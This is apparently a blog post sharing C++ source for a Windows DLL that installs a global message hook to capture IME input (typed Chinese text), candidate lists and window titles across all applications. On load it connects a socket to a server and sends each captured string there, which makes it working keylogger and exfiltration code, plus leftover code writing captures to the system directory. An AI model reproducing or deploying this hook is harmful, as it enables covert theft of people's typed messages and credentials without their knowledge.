获取输入法输入内容及后选项的钩子

#include "stdafx.h"
#include "windows.h"
#include "imm.h"
#include "stdio.h"
#include <tchar.h>
#include <wchar.h>
#include <strsafe.h>
#include <string>
#include "tool.h"
#include <WinSock2.h>
#include <msctf.h>
#include <Ctffunc.h>
#include "ClientSocket.h"
#pragma comment(lib, "imm32.lib")

#define HOOK_API __declspec(dllexport)

#pragma data_seg(".shared")
FILE * glpFile = NULL;
HHOOK glHook = NULL; //!钩子句柄
HINSTANCE glhModule = NULL; //!DLL实例
HWND g_wnd = NULL;//监控窗体句柄
//BYTE glKeyMap[KEYMAP_SIZE] = {0}; //!存放键盘映射表,全局共享

HHOOK g_hHook = NULL; //hook句柄
HINSTANCE g_hHinstance = NULL; //程序句柄
stds::tool* ptool = NULL;
#pragma data_seg()

#pragma comment(linker, " /SECTION:.shared,RWS")


HWND LastFocusWnd = 0;//上一次句柄,必须使全局的
HWND FocusWnd; //当前窗口句柄,必须使全局的
ClientSocket* sock = NULL;

//字符串临时缓存长度
#ifndef _MAX_BUF_
#define _MAX_BUF_ 256
#endif

wchar_t title[256]; //获得窗口名字
wchar_t *ftemp; //begin/end 写到文件里面
wchar_t temptitle[256]=TEXT("<<标题:"); //<<标题:窗口名字>>
wchar_t t[2]={0,0}; //捕获单个字母

extern "C" _declspec(dllexport) void SetWindowHandle(HWND wnd) {
g_wnd = wnd;
}

extern "C" _declspec(dllexport) HWND GetWindowHandle() {
return g_wnd;
}

extern "C" _declspec(dllexport) void ConnectToServer() {
//if (sock == NULL)
// pClientSocket = new ClientSocket();
sock->ConnectToServer();
}


HWND GetMainWindowHandle() {
HWND h = ::GetTopWindow(0 );
while ( h )
{
DWORD pid;
DWORD dwTheardId = ::GetWindowThreadProcessId( h,&pid);
if ( pid == 0/*your process id*/ )
{
// here h is the handle to the window
break;
}
h = ::GetNextWindow( h , GW_HWNDNEXT);
}
return h;
}

void StartSocket() {

}
void EndSocket() {

}
HANDLE m_hMapFile;
void FileMapping(TCHAR* lpstr)
{
//打开共享的文件对象。
m_hMapFile = OpenFileMapping(FILE_MAP_ALL_ACCESS,
FALSE,_T("TestFileMap"));
LPTSTR lpMapAddr;
if (m_hMapFile)
{
//显示共享的文件数据。
lpMapAddr = (LPTSTR)MapViewOfFile(m_hMapFile,FILE_MAP_ALL_ACCESS,
0,0,0);
// OutputDebugString(lpMapAddr);
}
else
{
//创建共享文件。
m_hMapFile = CreateFileMapping( (HANDLE)0xFFFFFFFF,NULL,
PAGE_READWRITE,0,1024,_T("TestFileMap"));
lpMapAddr = (LPTSTR)MapViewOfFile(m_hMapFile,FILE_MAP_ALL_ACCESS,
0,0,0);

}

//拷贝数据到共享文件里。

std::wstring strTest(lpstr);
wcscpy(lpMapAddr,strTest.c_str());

FlushViewOfFile(lpMapAddr,strTest.length()+1);
//PostMessage(
}

void Logs(TCHAR* lpstr)
{
/*FILE *fp;
errno_t ecode = _wfopen_s(&fp, TEXT("D:\temp\HookIMEW32Demo\Debug\Test.txt"),L"ab+");
if (fp != NULL)
{
fwprintf(fp, lpstr);
fclose(fp);
}*/


//TCHAR exeFullPath[MAX_PATH]={0};
//GetModuleFileName(glhModule, exeFullPath, MAX_PATH);
//GetModuleFileName(glhModule
//std::wstring path = get_exeute_path();
//MessageBox(NULL, exeFullPath, NULL, NULL);
//FileMapping(lpstr);
std::wstring s(lpstr);
sock->SendString(s);
// return;


}


void writefile(wchar_t *lpstr)
{//保存为文件
FILE* f1;
wchar_t cmd[256];
GetSystemDirectory(cmd,256);
lstrcat(cmd,TEXT("\hooktxt.txt"));
//f1=fopen(cmd,"a+");
//errno_t ecode = _wfopen_s(&f1, TEXT("D:\temp\HookIMEDemo\Debug\Test.txt"),L"ab+");
errno_t ecode = _wfopen_s(&f1, cmd,L"ab+");
fwrite(lpstr,lstrlen(lpstr),1,f1);
//fwprintf(f1, lpstr);
fclose(f1);
}
void writtitle()
{//保存当前窗口
FocusWnd = GetActiveWindow();
if(LastFocusWnd != FocusWnd)
{
ftemp=TEXT(" ---------End---------- ");
//writefile(ftemp);
Logs(ftemp);
ftemp=TEXT(" --------begin--------- ");
//writefile(ftemp);
Logs(ftemp);
GetWindowText(FocusWnd, title, 256); //当前窗口标题
LastFocusWnd = FocusWnd;
lstrcat(temptitle,title);
lstrcat(temptitle,TEXT(">> "));
//writefile(temptitle);
Logs(temptitle);
}
}

//wParam Command
//lParam Data
HWND lastHwnd;
DWORD lastTime;
LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
_wsetlocale(0, L"chs");
//stds::tool _t;

PMSG pmsg = (PMSG)lParam;
if (nCode == HC_ACTION)
{
switch (pmsg->message)
{
case WM_IME_COMPOSITION:
{
HIMC hIMC;
HWND hWnd=pmsg->hwnd;
DWORD dwSize;
TCHAR lpstr[20];
//TCHAR szBuf[20];
if(pmsg->lParam & GCS_RESULTSTR)
{
//先获取当前正在输入的窗口的输入法句柄
hIMC = ImmGetContext(hWnd);
// 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);

// 缓冲区大小要加上字符串的NULL结束符大小,
// 考虑到UNICODE
dwSize += sizeof(WCHAR);

memset(lpstr, 0, 20);

// 再调用一次.ImmGetCompositionString获取字符串
ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);
//现在lpstr里面即是输入的汉字了。
//writtitle(); //保存当前窗口
//writefile(lpstr); //保存为文件
//MessageBox(NULL, lpstr, lpstr, MB_OK);
Logs(lpstr);

//LPDWORD lpDword = NULL;
//ImmGetCandidateListCount(hIMC, lpDword);
//wsprintf(s, TEXT("%d"), *lpDword);
//StringCchPrintf(szBuf, 20/sizeof(TCHAR), TEXT("candidate: %d "), *lpDword);
//Logs(szBuf);

ImmReleaseContext(hWnd, hIMC);
}
}
break;
case WM_CHAR: //截获发向焦点窗口的键盘消息
break;
{
wchar_t ch,str[10];
ch=(char)(pmsg->wParam);
if (ch>=32 && ch<=126) //可见字符
{
//writtitle();
t[0]=ch;
//writefile(t);
Logs(t);
}
if (ch>=8 && ch<=31) //控制字符
{
switch(ch)
{
case 8:
lstrcpy(str,TEXT("[退格]"));
break;
case 9:
lstrcpy(str,TEXT("[TAB]"));
break;
case 13:
lstrcpy(str,TEXT("[Enter]"));
break;
default:
lstrcpy(str,TEXT("n"));
}
if (lstrcmp(str,TEXT("n")))
{
//writtitle();
//writefile(str);
Logs(str);
}
}

}
break;
case WM_IME_STARTCOMPOSITION:
break;
case WM_IME_COMPOSITIONFULL:
break;
case WM_IME_ENDCOMPOSITION:
break;
case WM_IME_NOTIFY:

HWND hWnd = pmsg->hwnd;
HIMC hIMC = NULL;
DWORD dwSize = 0;
char*p = NULL;
TCHAR szBuf[30];
std::string strCL;
int nR;
memset(szBuf, 0, sizeof(TCHAR) * 30);
CANDIDATEFORM form;
//LPCANDIDATEINFO lpCandInfo;
CANDIDATELIST candList;
LPCANDIDATELIST lp = NULL;
//LPIMC lpImc;
//// 这里只关心IMN_CHANGECANDIDATE这个消息,输入法选项的变化
//IMN_OPENCANDIDATE IMN_CLOSECANDIDATE

if (pmsg->wParam & IMN_CHANGECANDIDATE)
{
if (lastHwnd == pmsg->hwnd && lastTime == pmsg->time) {

} else {
TCHAR title[400],title2[400];
memset(title, 0, sizeof(TCHAR) * 400);
memset(title2, 0, sizeof(TCHAR) * 400);
HWND wnd = GetActiveWindow();
GetWindowText(wnd, title, 256); //当前窗口标题
GetWindowText(pmsg->hwnd, title2, 256);

// 获取当前正在输入的窗口的输入法句柄
hIMC = ImmGetContext(hWnd);
dwSize = ImmGetCandidateList(hIMC, 0, NULL, 0);

if (dwSize>0)
{
p = new char[dwSize];
lp = (LPCANDIDATELIST)p;

nR = ImmGetCandidateList(hIMC, 0, lp, dwSize);
//若是取其它窗口的IMM状态,则lp->dwStyle的值为零(Unknown)。
//否则返回一,表示可以读取lp指向的数据结构!

if (nR && lp->dwCount>1)
{
int i=1;
char temp[_MAX_BUF_];
ZeroMemory(temp,sizeof(temp));

int nOffset;

while ( (i<lp->dwCount-lp->dwSelection+1) &&
(i<lp->dwPageSize+1) )
{
std::wstring sT= (wchar_t *)(p + lp->dwOffset[lp->dwPageStart+(i-1)]);
sprintf( temp , " %d." , i);

strCL = strCL + temp;
strCL = strCL + "" + ptool->ws2s(sT);
i++;
}
if (strCL.find_first_not_of(' ') != -1)
{
strCL =strCL.substr(strCL.find_first_not_of(' '),strCL.length());
//例如“万能五笔输入法中”状态中输入字符"k",strCL变为下值
//1.中 2.口 3.员工maa 4.哎呀aka 5.只w 6.员m
}
}

delete p;
}
else
{
//OutputDebugString(L"Error: dwSize = ImmGetCandidateList(hIMC, 0, NULL, 0);<= 0 /n");
}
const char* s = strCL.c_str();
//stds::tool t;
std::wstring ws = ptool->s2ws(strCL);
const wchar_t* wbuffer = ws.c_str();
Logs((TCHAR*)wbuffer);
//MessageBox(NULL, wbuffer, wbuffer, MB_OK);
//m_candidate = strCL;

// 通过句柄得到IMC结构 (input method context)
//lpImc = ImmLockIMC(hIMC);
// 得到候选项信息
//lpCandInfo = (LPCANDIDATEINFO)ImmLockIMCC(lpImc->hCandInfo);
// 得到输入法的候选项列表
//lpCandList = (LPCANDIDATELIST)(((LPBYTE)lpCandInfo) + lpCandInfo->dwOffset[0]);
// 成功:)之后就可以做进一步的处理

//ImmGetCandidateListCount(hIMC, &dword);
//DWORD idx = 0;
//ImmGetCandidateList(hIMC, idx, &candList, 200);
//wsprintf(szBuf, TEXT("candidate:%d"), candList.dwCount);
//candList.dwOffset
//StringCchPrintf(szBuf, 30/sizeof(TCHAR), TEXT("candidate: %d "), dword);
//;
//candList.dwCount
//wchar_t* t = (wchar_t*)candList.dwOffset;
//MessageBox(NULL, szBuf, szBuf, MB_OK);
//MessageBox(NULL, t, t, MB_OK);

//Logs(szBuf);
// // 通过句柄得到IMC结构 (input method context)
// lpImc = ImmLockIMC(hIMC);
// // 得到候选项信息
// lpCandInfo = (LPCANDIDATEINFO)ImmLockIMCC(lpImc->hCandInfo);
// // 得到输入法的候选项列表
//lpCandList = (LPCANDIDATELIST)(((LPBYTE)lpCandInfo) + lpCandInfo->dwOffset[0]);
//lpCandList->
// // 成功:)之后就可以做进一步的处理
}
}

lastHwnd = pmsg->hwnd;
lastTime = pmsg->time;
break;
}
}
LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);

return(lResult);
}

//HOOK_API BOOL InstallHook()
extern "C" HOOK_API BOOL InstallHook()
{
//MessageBox(NULL, TEXT("InstallHook"), NULL, NULL);
g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
return TRUE;
}

//HOOK_API BOOL UnHook()
extern "C" HOOK_API BOOL UnHook()
{
return UnhookWindowsHookEx(g_hHook);
}

void TFSTest() {
CoInitialize(0);
HRESULT hr = S_OK;
ITfCompartmentMgr *pCompMgr = NULL;
ITfContext *_pContextCandidateWindow = NULL;
TfEditCookie ecTmp;
TfClientId tfClientId;
ITfDocumentMgr *pDocumentMgr;
ITfThreadMgr* pThreadMgr;
ITfThreadMgr2* pThreadMgr2;

hr = CoCreateInstance(CLSID_TF_ThreadMgr,
NULL,
CLSCTX_INPROC_SERVER,
IID_ITfThreadMgr,
(void**)&pThreadMgr);
hr = CoCreateInstance(CLSID_TF_ThreadMgr,
NULL,
CLSCTX_INPROC_SERVER,
IID_ITfThreadMgr2,
(void**)&pThreadMgr);
hr = pThreadMgr->CreateDocumentMgr(&pDocumentMgr);

if (FAILED(pDocumentMgr->CreateContext(tfClientId, 0, NULL, &_pContextCandidateWindow, &ecTmp))) {
}

//IID_ITfCandidateListUIElement e;
//ITfCompartment *m_pCompartment;
//CoCreateInstance(IID_ITfCompartment, &m_pCompartment, )
//HRESULT hr;
if (_pContextCandidateWindow->QueryInterface(IID_ITfCompartmentMgr, (void **)&pCompMgr) == S_OK) {
}

ITfCompartment *pCompartment;
if (pCompMgr->GetCompartment(GUID_COMPARTMENT_KEYBOARD_OPENCLOSE, &pCompartment) == S_OK) {
}
ITfInputProcessorProfiles *pProfiles;
hr = CoCreateInstance(CLSID_TF_InputProcessorProfiles,
NULL,
CLSCTX_INPROC_SERVER,
IID_ITfInputProcessorProfiles,
(LPVOID*)&pProfiles);

ITfSource *pSource;
//IUnknown p;
//hr = p.QueryInterface(IID_ITfSource, (LPVOID*)&pSource);
hr = pThreadMgr->QueryInterface(IID_ITfSource, (LPVOID*)&pSource);
if (SUCCEEDED(hr))
{
pSource->Release();
}
hr = _pContextCandidateWindow->QueryInterface(IID_ITfSource, (LPVOID*)&pSource);
if (SUCCEEDED(hr))
{
pSource->Release();
}
hr = pCompMgr->QueryInterface(IID_ITfSource, (LPVOID*)&pSource);
if (SUCCEEDED(hr))
{
pSource->Release();
}
hr = pProfiles->QueryInterface(IID_ITfSource, (LPVOID*)&pSource);
if (SUCCEEDED(hr))
{
pProfiles->Release();
}
if (SUCCEEDED(hr))
{
pSource->Release();
}

/*ITfFnReconversion pREconverstion;

ITfRange range;
ITfFnReconversion::QueryRange()
ITfCandidateList *pCandidateList = new ITfCandidateList();
GetReconversion(&range, &ppCandList);
//hr = m_pCompartment->QueryInterface(IID_ITfSource, (LPVOID*)&pSource);
if (SUCCEEDED(hr))
{
hr = pSource->AdviseSink(IID_ITfCompartmentEventSink,
(ITfCompartmentEventSink*)this,
&m_dwCookie);

pSource->Release();
}*/
}

BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_hHinstance=HINSTANCE(hModule);
ptool = new stds::tool();
if (sock == NULL)
sock = new ClientSocket();
sock->Startup();
sock->ConnectToServer();
//StartSocket();

break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
UnHook();
delete ptool;
ptool = NULL;
sock->Close();
delete sock;
//EndSocket();
//pClientSocket->Close();
//pClientSocket = NULL;
break;
}
return TRUE;
}

原文地址:https://www.cnblogs.com/yuanxiaoping_21cn_com/p/3705347.html